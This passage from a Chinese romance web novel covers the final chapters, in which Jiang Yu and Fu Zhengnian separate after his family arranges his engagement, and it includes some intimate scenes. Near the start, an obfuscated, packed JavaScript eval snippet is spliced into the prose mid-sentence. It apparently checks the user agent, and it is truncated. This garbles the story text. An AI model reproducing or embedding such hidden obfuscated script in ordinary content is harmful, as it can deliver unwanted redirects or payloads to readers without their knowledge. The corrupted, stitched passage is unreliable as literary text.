朱文华确实从第一眼看到江余就不喜欢,他一开始也说不清是为什么,直到后来付政年为了她去求付老爷子,还说什么这辈子也可以不结婚,他才想通。 原来是他觉得,江余会拖付政年的后腿。 朱文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们订婚都两年多了,一直没有说什么时候结婚,江余都以为这段婚姻最后会不了了之,结果如今却突然又要结婚了。 不知为何,这突然的变故总让她有一种山雨欲来的感觉。 付政年早早的就叫人把礼服给江余准备好了,结果她却在前两天说突然要出差。 付政年坐在床上,看着她把要用到的东西一一装进行李箱,眼神若有所思。 过了会儿,他突然走过去从身后抱住她,轻声问:“余余,你该不会是故意的吧。” 江余没听懂他在说什么,“什么故意的?” 看她一脸茫然,付政年也觉得是自己想太多,他就这样抱了她一会儿,说没事,你突然要出差,有点舍不得跟你分开。 江余没忍住笑,轻推了他一下,“你少来,你平时出差的时间比我多多了,那时候你怎么没说舍不得。” “一直都舍不得,不然我能每次都那么着急的赶回来吗,我恨不得去哪都把你带上,让你一直待在我身边。” 他这人说话一向叫人捉摸不透其中真假,但谁让江余就吃这套呢,她放下手中的东西,转身回抱住他,“几天我就回来了。” 付政年看她一眼,下一秒便吻了上去,吻着吻着便到床上去了。 因为折腾的太晚,江余差点没赶上第二天的飞机,再去机场的路上还不忘发消息控诉他。 付政年却表现的十分坦然,说是一个巴掌拍不响,明明她也很享受。 气的江余在心里问候了他好几遍。 一到机场,宫白卉就在里面等她,她们踏上了去新疆的旅程。 付政年说的没错,她确实是故意的,章烨磊结婚她并不想去,在那种场景中,她总觉得自己格格不入。 正好前段时间宫白卉说她想去玩,于是就趁这个机会去了。 她们一直玩到了婚礼后的第三天才回来。 跟在付政年身边,江余多多少少都能听到些关于章烨磊的事。 他们结婚后,有了女方家里的助力,章家的事情也逐渐平息了下去, 可谁曾想,这平静竟是暴风雨的前奏。 35. 终章 11月的一天凌晨,付政年接到了个电话,在听完对方的话后脸色骤变,他说了句“知道了,我现在过来。”就立即起身穿衣。 江余看着他着急忙慌的样子,心中也有些不好的预感,“怎么了,是发生什么事了吗?” 付政年边扣衬衫的扣子,边跟她解释道:“警察今晚突然冲进康乔把章烨磊带走了,我去看看怎么回事。” “要我陪你一起吗?” 付政年走过去在她额头上轻轻一吻,安抚道:“不用,你先睡,应该没什么大事。” 江余点了点头,目送着付政年出门,可心里却是怎么都静不下来。 章烨磊这样的家世,如果不是出了什么大事,警察怎么会轻易把他带走。 虽然两人的交集不多,但之前几次的相助,江余心里也是很感激他的,并不希望他出什么事。 第二天付政年一直没有消息,江余知道他应该也是焦头烂额,所以也没去打扰他,直到晚上,他才给她发消息说是事情还没处理完,这几天就暂时不回来了。 看到这个消息,她也意识到这件事恐怕是没那么容易解决。 第四天晚上付政年才回来,江余看着他一脸疲惫,就让他躺她腿上,用手轻轻给他按头,“很棘手吗?” 付政年紧闭着眼,轻嗯了声,“有些麻烦,现在章烨磊是回去了,但一直有人监视,在事情没有定论之前,他都不能离开北京。” 江余的手顿了下,章烨磊的公司走的是正经途径,并无任何违法的事,虽然康乔的确不是什么正规场合,但也不至于就闹到警局去,所以这件事背后的原因究竟是什么呢? 她有很多疑问,但是最终也还是没问出来。 付政年却像是知道她在想什么一样,过了会主动开口给她解惑,“章烨磊公司账上多了一笔来历不明的款项,刚好前段时间他爸手底下提上去了一个人。就有人以此做文章,举报他爸贪污受贿,如今上面本来就查的严,自然引起了不小的动静。” 虽然觉得不该打听那么多,但江余还是问了出来,“那这件事是真的吗?” 付政年睁开眼看向她,眼中情绪不明。 江余也意识到这话有多不妥,这些事怎么能够跟她说,她赶忙道:“我随便问问,没别的意思。” 付政年轻笑了声,拉住她的手捏了捏,“我只是有些好奇你怎么会对这些事感兴趣了,除去章烨磊如今的公司,他们家也还有其他人从商,并不缺这点钱,没必要冒那么大的风险。” 听到这江余刚松了口气,但付政年眼中的愁绪却一直没有化开,她一下就明白了这件事肯定没有那么简单。 将其中弯弯绕绕想明白后,她心里也是大骇。 事情果然不出她所料,接下去的一段时间,付政年到处奔走,却始终没什么进展,章烨磊也常常被叫去问话,之前那群花天酒地的二代们,也全都收敛了,不敢再踏足那些风月场所。 年前两周左右,这件事终于结束了。 章烨磊说出了这个款项的来源,当即就有人去查他们公司的账户,果然出现了很多问题,他全都一一认下,概不否认。 他也被判了五年。 江余听到后很是不解,可她一回家,就听到了付岱和付政年的谈话内容。 付岱问他这件事真的一点转圜的余地都没有了吗? 付政年沉默着把手里的烟抽完,才缓缓开口,语气中是藏不住的沉重,“要是有办法就不会走到这一步了,这段时间小心些吧,不然迟早也要轮到你我。” 江余站在门口迟迟不敢进去,她眼中满是震惊,放在门把手上的手控制不住发颤,她心里堵了一口气,难受的紧。 所以章烨磊是故意认下这个罪的。 之前她还不明白,他们那样的家庭为何非要推出来几个在明面上行走的人,真正的原因原来是这。 只要风平浪静,他们就永远是可以抬手撒千金的浪荡子,但若出事,便是首当其冲的那一人。 章烨磊是,付政年也是。 * 虽然这次的事章烨磊一人担下了,但章家还是受了不小的影响。 章家和付家的牵扯很深,付家自然也受到了些牵连,付政年公司的一些业务也除了问题,他有时候忙到好几天都没空回家,在公司休息一会儿又得起来处理事情,最长的时候,她们有接近快三个星期没见面。 江余因为之前听到了他们的谈话,她总是会抑制不住的多想,尤其是看两三个月过去了,付政年公司的情况都还没有稳定下来,这也让她的心里时常惴惴不安。 付政年看她有时候一副心事重重的样子,跟她说话也不怎么搭理,他还以为是他太忙了没时间陪她,她在闹情绪,于是特地空出一个周末带她出去玩。 去的地方也是北京郊外的一个山庄,山庄的位置处于半山,车开不上去,就只能停在山脚的停车上,他们则是坐缆车上去。 一路上看江余话还不是很多,吃完饭付政年只好耐着性子去哄她,“我知道我最近太忙了没时间陪你,是我的错,以后我尽量多抽点时间陪你,现在好不容易有时间出来玩一下,开心点好不好?” 江余这才意识到自己的情绪竟然持续了那么久,她挤出来一个笑,有些无奈道:“我没有在跟你闹脾气。” “那你最近这是怎么了,老是心不在焉的。” 江余回头看他一眼,当然是担心你啊,不过这话叫她怎么说出口呢,毕竟现在什么事都没有,说这些反倒显得她有些杞人忧天了。 她摇摇头说没事,就最近遇到点事所以心情不太好。 说完她又把付政年拉起来,微笑道:“晚上吃饭的时候我听人说这里有个露天小酒馆,那里很适合看夜星,我们去看看吧。” “好,”付政年笑着应下,又从一旁拿了件外套,“带件衣服,等会儿怕你冷。” 见他如此贴心,江余挑眉,踮起脚在他脸上亲了一下。 付政年没想到她会突然有此举动,一时间没反应过来,被她扑的往后退了几步才站稳。 江余眼中闪过一抹狡黠,拉起他的手就往外走。 付政年笑着摇摇头,脸上颇为无奈,眼底是满满的宠溺。 寻到地方,江余特地挑了个最外边的位置,低头是茫茫夜色,抬头是漫天星辰。 他们点了两杯度数偏低的鸡尾酒,靠在躺椅上欣赏夜色。 他们运气比较好,昨天刚下完雨,今天的空气十分好,星辰闪烁,格外明亮。 音响里播放着节奏缓慢的民谣,晚风拍打在脸上,带着山间草木的清香,沁人心脾。 江余看着天空中最亮的那颗星,不由感慨道:“好像很久没有过那么亮的星星了。” 常年待在喧嚣的市中心,行事匆匆,根本无法静下心来欣赏周遭的一切,如今来这地方放松确实别有一番滋味。 付政年掀开眼皮看向她,她的眼睛在夜空下格外明亮,冷白的肤色在灯光的映射下更是白的出奇,他一时间竟有些舍不得移开眼睛,“你要是喜欢,我们以后可以常来。” 江余闻言却轻轻摇头,说还是算了,“如果有机会,我还是想多去其他地方看看。” “你想去哪?” “那可多了,小时候总想着等我长大赚钱了,一定要把想去的地方都去一次,结果真长大了,发现时间才是最宝贵的。” 现在一天绝大多数的时间都在公司,哪有空出去玩啊。 “等过段时间吧,我把手里的事情处理完,你想去哪我都陪你去。” 江余略有些惊讶,“付总那么忙,真能抽的出时间来?” 付政年直起身把手里的烟掐灭,拿起桌上的酒喝了一口,才道:“付岱这两年也不是白去的,很多事他都能处理,离了我公司也暂时倒闭不了。” 江余轻轻一笑,重新躺回去,“行啊。” 这一晚他们在上面坐了许久才回房间,第二天两人又起了个大早徒步爬到了山顶,到时江余已经累得气喘吁吁的了,她不禁在感慨,好多年没锻炼了,现在走这点路都不行了。 经过这两天的放松,紧绷的情绪也总算是松懈了一些。 六月,付政年去巴黎出差,想着马上就要到江余的生日了,他办完手里的事后特地约见了一个老朋友挪森。 付政年去到他的工作室,挪森正在做一条定制的项链,他细心的拿镊子把细砖一颗颗固定上去。 听到脚步声,他头都没回,用着蹩脚的中文跟付政年打招呼,“稀客啊,付先生竟然有时间,来我这里。” 付政年笑了声,自顾自的在一旁的沙发上坐下,拿起他的设计图稿翻看,一开口就是嫌弃他的中文,“说真的挪森,我之前的提议你真该考虑考虑,你这中文需要请一个专业的人来教。” “shutup。”挪森放下手里快要完工的项链,起身朝付政年走来,“你没有发现,我现在的中国话,说的比之前好很多了吗?” 付政年点点头,“都学了那么久,要是一点进步都没有,那才真是奇怪了。” 挪森翻了个白眼,“你这次来找我,总不会是来叙旧吧,到底有什么事?” “我本来是想请你帮我设计一条项链的,但是现在改主意了。”付政年说着就站起身,往挪森的展示柜前走。 挪森猛的睁大眼睛,忙走上去拦下他,急起来中英文并用的说,你想要什么样的项链,我马上帮你设计,一周内绝对能够做好。 展示柜里的东西可都是他花了许多心思做出来的,只供观看,并不售卖,要是让这土匪看中了,那还得了。 付政年笑着扒开他,“挪森,我们都认识那么多年了,别那么小气,我就看看。” 他走到展示柜前把挪森珍藏的饰品一一看过,最后眼神定格在一个通体镶满细砖的戒指上。 这个戒指上用了许多种晶石和碎砖,肉眼看起来整体呈粉白色,但细看下来其实每一处的颜色都不同,最上面的那颗是蓝色的,做成月亮形状。 这个戒指,挪森从画出设计图到完工,零零碎碎花了一年多的时间,上面的每颗钻石都是他亲手打磨的,不知道耗费了多少心思。 前段时间刚完工,还没来得及送去申请专利。 “nonono,付,其他的好商量,这个绝对不可以。”挪森严词拒绝。 付政年完全没在意他的话,他又仔细的看了一会儿,眼中尽是满意的神色。 他勾了勾唇,伸手搭上挪森的肩,一起往沙发上走。 ...... 这次付政年在巴黎多逗留了两天,江余问起,他也只是说要见几个老朋友。 回来的这天,他刚下飞机,就接到了付嘉良的电话。 听完后他也顾不得其他,给江余发了个消息就直奔老宅,等回去的时候已经快晚上12点了。 江余没有也没有睡,一直在等着他。 付政年进门后什么话都没说直接走上来将她抱怀里,江余愣了两秒后也伸手环住他的腰。 也不知道过了多久付政年才开口,他的声音低哑,满是苍凉,“你不是说想出去玩吗,你这几天把手里的事交代一下,我们这周就走,把你想去的地方全都去一遍好不好?” 江余吞了吞口水,环在他腰上的手紧了两分,眼眶有些泛红,半晌后才应声:“好。” 外面三十多度的天气,此刻两具身体紧贴在一起却丝毫不觉灼热,心底深处反而升起浓重的凉意。 这些年利丰稳步上升,公司里也引进了不少有能力的人,江余离开一段时间也没什么问题,两三天就全部交代下去了。 付政年当即就买了第二天的机票。 这段时间,他们的手机大多处于关机状态,只尽心的享受当下,不想被外界其他事情打扰,也是真正体验到了无事一身轻是什么感觉。 江余还忍不住感慨,“我们在一起那么多年了,可能之前真正待在一起的时间,也比这段时间多不了多少。” 付政年眸光一沉,“对不起,跟我在一起的这些年,委屈你了。” 江余眼睛莫名有些酸,现在听不得这些话,她站起身朝另一边走去,“好久没冲浪了,今天突然想玩一下。” 付政年跟着她起来,之前她就玩的很一般,更别提那么就没玩过,他不放心,找了好几个人跟着她,在她去之前还不忘叮嘱,“小心些,发现不对立即叫人,别逞强。” “知道了。” 付政年还是有些不放心,就找了个快艇一直跟在她身边,江余觉得他属实有些大惊小怪了。 可后来,事实告诉她,付政年的担忧不无道理。 江余本来就是个半吊子,海浪平缓些还好,可一遇到大些的浪,根本掌控不住。 在一次急流冲来时,她整个人也都被卷入了海浪中。 海水涌入鼻腔,她顿时缺氧,海浪拍打在她脸上,带来一阵刺痛,最后她不忘朝着付政年那边看了一眼,只见他一脸焦急,最后的记忆便是他不管不顾的从快艇上跳下,朝她游来。 那瞬间,眼泪再也没忍住,融入腥咸的海水中。 再次睁眼就已经是在医院了,付政年紧绷着脸坐在她的床前,手里捏着根烟,一看就知他现在的心情差极了。 若是以往,她可能还会有些害怕,可现如今,她却全然没有将他的脾气放在眼里,她坐起身,直接去抢他手里的烟。 付政年怕烫到她,赶忙往后避开,“你做什么?” 因为呛了水,江余的喉咙还有些刺痛,声音也十分沙哑,“你少抽些烟吧,现在也不年轻了,再过几年怕你迟早得作出一身的病来。” 听到这话,付政年睨了她一眼,冷笑一声,“你还担心起我来,照你这样再作下去,迟早命都没了。” 江余瘪瘪嘴,“那你跳下去干嘛,当时海浪那么大。” “我能不管你吗,大不了就一起死那吧。”他无所谓的说。 江余心中的酸涩再次袭来,眼睛也不争气的红了,她看着付政年,张了张口,却是什么都没说。 她竟然真的有了一种极为阴暗的想法,其实跟他一起死在海里,似乎也没什么不好。 付政年想让江余多休息几天再走,但时间本来就不多,她不想耽搁,第二天就去了下一站。 * 他们从冰岛到马尔代夫,从国外到国内,整整玩了快一个月。 最后一站是苏州,江余带着付政年回了外外婆以前住的地方,过去那么多年,这里已经大变样了,以前的房子也被拆了改成一个便利店。 她看了好久才看出来这是之前舅舅家的房子,无论怎么看,都早已没有了之前的痕迹。 江余叹了口气,说走吧,这地方也没什么看的了。 捕捉到她眼里的失落,付政年立即拉住她,“你在这等我一会儿。” “你要干嘛?”江余不解的问。 “你在这等着我就行了,别乱跑。”说完他就朝来时的方向走去。 看他这一脸神秘,江 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我知道了你要订婚的事,甚至还在你之前知道。 付政年从巴黎回来的那一天,江余跟一个合作方在外面吃饭,聊天的时候那个合作方把这件事告诉的江余。 付政年喉结滚了滚,霎时无言。 那天他一下飞机付嘉良就跟他说了这事,说订婚是付兴平和付鸿习决定的,时间都已经定好了。 那时候才打电话通知他,显然这件事已成定局,更改不了了。 作为最后一个知道这件事的当事人,他当时几乎想都没想就冲到老宅找付鸿习。 付鸿习早知道他会来,一直在等他。 看到付鸿习脸色的那一刻,他就知道,这事只怕没任何转圜的余地了。 气氛静谧的可怕,江余的情绪倒是比她预想中的稳定许多,毕竟从章烨磊结婚后,她就一直有心理预设。 “我先去洗澡了。”她轻飘飘地说。 “嗯。” 江余的脚刚迈出去一步就又停下了,随后转身朝付政年走去,垫脚勾住他的脖子便吻了上去。 反正都已经放纵了那么多年,还差这最后一晚吗? 诸多情绪涌上心头,这一晚他们丝毫没有节制,不断的索取和给予,就连休息时,身体也是紧贴在一块,似乎迫切的想要在对方身上留下属于自己的痕迹。 这一晚,江余的情绪始终高昂,思绪一直飘忽不定,在与他抵死缠绵时,这些年的过往像走马灯一般从她脑海中一一划过。 情浓之时,付政年在她耳边一遍又一遍的说着对不起。 江余说不出话来,就只能不停对他摇头。 不要说对不起,你没有什么对不起我的。 付政年,你不欠我什么。 我们的交易在从老宅回来时就已经结束了,剩下的这些年, 是飞蛾扑火, 是早知结果的豪赌, 是一场心甘情愿的沉沦。 屋内的战况一直到晨光微熹时才结束,付政年看着她被泪水模糊的双眼,动作轻柔的帮她把被汗水打湿的头发捋到耳后,哑声道:“哭什么?” 江余吸了吸鼻子,“疼的。” 付政年勾起唇角,额头上的汗水滴落在她脸上,难得说了句荤话,“疼的还是爽的?” 江余抬眼与他对视,毫不退让,“那你呢,眼睛怎么红了?” “累的。” 说完他便离开了江余的身体,翻身在她身旁躺下,眼睛紧紧盯着天花板。 两人就这样沉默的躺了许久,直至天光大亮时才起身收拾。 踏上去上海机场的路上至飞机落地北京,一路上两人都没有怎么说话,但紧握在一起的手却一直没有分开过。 飞机在云端飞翔,江余看着窗外连成一片的云层,明明是回家的路,却感觉不到一丝喜悦。 踏上这片熟悉的土地,一切也该归于现实了。 出了机场,是黄师傅来接的他们,一上车付政年就说先送她回去。 车辆行驶到一半,外面竟不知不觉中下起了雨,渐渐的,整个城市像是被雾霾笼罩其中,能见度骤然降低。 这场景和天气,倒是像极了他们初见那天。 不知道是巧合还是什么,黄师傅为了不堵车,走了另外一条路,恰好来到了之前分开的那个十字路口。 原来,他们兜兜转转竟还是回到了原地。 是啊,他们本来就是两条平行线,一不小心轨迹错乱才有了交集,短暂相交之后又回到原本的轨道上。 江余跟之前一样,在车辆即将拐弯前提前出声:“黄师傅,前面靠边停下吧。” 乍然听到这话,付政年往外看了一眼,“不是还没到吗?” 江余勾起唇角,“就到这吧,再往前,” “就不顺路了。” 和当初如出一辙的话。 付政年瞬间明白了她的意思,他看着她说:“外面还下雨的,今天车里没有伞,我再送你最后一程。” “不用了,那把伞原本就不属于我。”江余轻声道。 师傅把车停下,江余没有立即去拉开车门,她靠在椅背上,半边脸都隐在黑暗中,“你订婚的那天我就不去了,什么订婚快乐这些话我也说不出口,就别为难我了。” 她努力抑制住声音里的颤意,继续说:“那我就祝你一生平安吧。” 你身后的家族是你一生的桎梏,你逃不了,也没法逃。 无论未来陪在你身边的人是谁,我都希望你一生平安,自由肆意,不会受到牵连和束缚。 “你别下车了,外面雨大。” 说完,江余最后看了他一眼,这一次,是真的再见了,“保重。” 随后她兀自下车,不管落在身上的雨滴,走到后备箱把她的行李箱拿下来,冒着雨走向了另外一条路。 这一次她没有再回头,也没有立刻打车,就这样在雨里慢慢走着。 付政年喉咙翻滚,只觉眼前的景象全都暗了下来,周遭的一切全都淡化,他的眼中只有后视镜中的那道身影。 她不像之前一样看到他就加快脚步朝他走来,反而离他渐行渐远,直至消失。 她的背影还是一如既往的挺直坚韧,跟她这个人一样,永远有自己的傲气。 一开始,他只想磨平她身上的傲气。 可最后,他却希望她带着这一身傲气走下去, 活得精彩,活的漂亮。 前几天她生日的时候,付政年说给她准备的礼物放在了床头柜最底下。 但江余没有打算再回付政年买的那一套房子。 这个生日礼物,她也不想知道是什么。 从他的28岁到她的28岁,他们整整纠缠了六年。 这六年里,有过埋怨,有过争吵,有过怨恨,也有过无数甜蜜的瞬间。 她甚至还想过,他们会不会就这样纠缠一辈子。 可现实的巴掌总是来的猝不及防,一次一次叫她从梦中清醒。 如果爱上他是一个错误,或许她从一开始就已经注定了要一错到底。 这份礼物,就跟随着这个错误,一起埋葬在那个充满回忆的地方吧。 许久后,额头上的冰凉不再传来,江余抬头看去, 雨已经停了。 雨停了,雾散了,焰火燃尽,一切都将重新归于寂寥。